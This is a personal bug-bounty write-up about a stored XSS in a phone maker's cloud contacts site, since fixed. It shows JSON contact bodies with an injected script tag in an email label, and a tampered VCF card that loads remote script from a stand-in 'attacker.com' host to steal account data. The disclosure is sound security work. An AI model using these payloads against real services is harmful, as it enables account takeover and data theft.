An old Stored XSS story

 That is a short story about my first triaged bug on hackerOne when I started on 2020.

At that time I was learning about Web vulnerabilities through PortSwigger's Web Security Academy and practicing on a public bug bounty program from hackerOne.

I chose this program mainly because I was a consumer from this brand (a Chinese mobile manufacturer), and  I had a mobile phone from the same.


The Target


During the tests, I focused in a single domain in charge of storing your contacts and files in the cloud, in this way, whenever I was adding a new phone Contact in my mobile, I was able to see it in that web, and vice versa

After understanding all the functionalities, I focused in the Phone Contact creation which had a Rest-Api endpoint where the web interface was calling a POST request. Apart from the api endpoint there was an option to create users using VCF files. The VCF file is an important actor in the payload stage, stay with me :D 


The Issue


Understanding the phone contact creation, the endpoint being called had a request body like this one below, where I headed to look for XSS possibilities.



{
"content": {
"name": {
"givenName": "Giuseppe",
"formatted": "Cadura"
},
"displayName": "Giuseppe",
"organizations": [{
"company": "Two-Paypal"
}],
"phoneNumbers": [{
"mobile": "333444987"
}, {
"work": "666999888"
}, {
"home": "12124413344"
}],
"emails": [{
"work": "email1@email.com"
}, {
"home": "email2@email.com"
}, {
"other": "email3@email.com"
}]
}
}


After some rabbit holes here and there I connected two interesting dots;

 1- The web interface was rendering the Json properties as labels in the screen, I had the labels work, home and other rendered from $.emails[*].field 

2- The endpoint was not checking the payload being sent, I could tamper the json properties and not face any issue with data serialization/store. In this way I managed to create a contact with the same json above but slightly changing it as below.


{

"other<b>ABCD": "email3@email.com"
}




The Exploit


After connecting the points, the XSS could be triggered after creating a contact like that;



{
"content": {
"name": {
"givenName": "Giuseppe",
"formatted": "Cadura"
},
"displayName": "Giuseppe",
"organizations": [{
"company": "Two-Paypal"
}],
"phoneNumbers": [{
"mobile": "333444987"
}, {
"work": "666999888"
}, {
"home": "12124413344"
}],
"emails": [{
"work": "email1@email.com"
}, {
"home": "email2@email.com"
}, {

"other</p><script>alert(1)</script>": "email3@email.com"

}]
}
}


At this point I had a self XSS, but I was aware that it would not have the desired impact, and here is where the VCF file comes into play.


Looking for a better impact, I started searching for ways to share and trigger the XSS using the mobile phone. In this way I changed the focus to the VCF files, after understanding the format and the purpose, I did the following test:

1 - create a VCF file and send to my phone by email.

2 - Add the contact to my contact list and sync with cloud.

3 - Open the contact list in the web page to Trigger the XSS.


After a lot of different attempts, I managed to create a tampered VCF file containing an XSS payload that, once synchronized and opened in the web, would trigger my XSS.


BEGIN:VCARD
VERSION:2.1
N:;ContactName;;;
FN:ContactName
TITLE:engineer
ORG:company
UID:55846311917259392
TEL;TYPE=mobile:333444555
TEL;TYPE=WORK:666777888
EMAIL;TYPE=WORK</p><script src="//attacker.com/myxss.js"/>:
a2@e.com
END:VCARD


In this way the exploit could occur with the Attacker sharing the tampered VCF file with the target, and then this file would need to be synchronized to the cloud so that the XSS could be triggered upon accessing the web interface.

Additionally, the domain didn't have CSP set, and the JS script triggered could stole all the information from the target account calling the same internal API, and sending it to the attacker domain.



Bug Fix


After a couple of months, the company fixed the issue adding a second field for the labels in the api contract, and changing the web-interface to use the values from the new properties, instead of the properties itself.


"content": {
...
"phoneNumbers": [{
"value": "333444555",
"type": "mobile"
}, {
"value": "666777888",
"type": "work"
}, {
"value": "111222333",
"type": "home"
}],
"emails": [{
"value": "email1@email.com",
"type": "work"
}, {
"value": "email1@email.com",
"type": "home"
}, {
"value": "email1@email.com",
"type": "other"
}]
}


Also, the back-end was changed so that the tamper attempts could fail, not allowing different values in the payload.

The same occurred for the VCF file, the tampered data stopped working, not allowing to exploit as before.

 



Comments